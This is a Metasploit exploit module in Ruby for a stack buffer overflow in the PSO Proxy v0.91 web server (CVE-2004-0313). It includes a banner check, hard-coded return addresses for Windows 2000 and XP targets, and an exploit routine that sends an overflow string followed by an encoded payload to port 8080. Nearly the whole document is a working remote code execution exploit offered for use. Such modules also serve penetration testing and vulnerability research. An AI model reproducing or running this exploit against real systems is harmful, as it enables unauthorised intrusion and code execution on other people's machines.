PSO Proxy v0.91 Stack Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'PSO Proxy v0.91 Stack Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in the PSO Proxy v0.91 web server.  
If a client sends an excessively long string the stack is overwritten.  
},  
'Author' => 'Patrick Webster <[email protected]>',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2004-0313' ],  
[ 'OSVDB', '4028' ],  
[ 'URL', 'http://www.milw0rm.com/exploits/156' ],  
[ 'BID', '9706' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 370,  
'BadChars' => "\x00\x0a\x0d\x20",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# Patrick - Tested OK 2007/09/06 against w2ksp0, w2ksp4, xpsp0,xpsp2 en.  
[ 'Windows 2000 Pro SP0-4 English', { 'Ret' => 0x75023112 } ], # call ecx ws2help.dll  
[ 'Windows 2000 Pro SP0-4 French', { 'Ret' => 0x74fa3112 } ], # call ecx ws2help.dll  
[ 'Windows 2000 Pro SP0-4 Italian', { 'Ret' => 0x74fd3112 } ], # call ecx ws2help.dll  
[ 'Windows XP Pro SP0/1 English', { 'Ret' => 0x71aa396d } ], # call ecx ws2help.dll  
[ 'Windows XP Pro SP2 English', { 'Ret' => 0x71aa3de3 } ], # call ecx ws2help.dll  
],  
'Privileged' => false,  
'DisclosureDate' => 'Feb 20 2004',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(8080),  
], self.class)  
end  
  
def autofilter  
false  
end  
  
def check  
connect  
sock.put("GET / HTTP/1.0\r\n\r\n")  
banner = sock.get(-1,3)  
if (banner =~ /PSO Proxy 0\.9/)  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
exploit = rand_text_alphanumeric(1024, payload_badchars)  
exploit += [target['Ret']].pack('V') + payload.encoded  
  
sock.put(exploit + "\r\n\r\n")  
  
disconnect  
handler  
end  
end  
`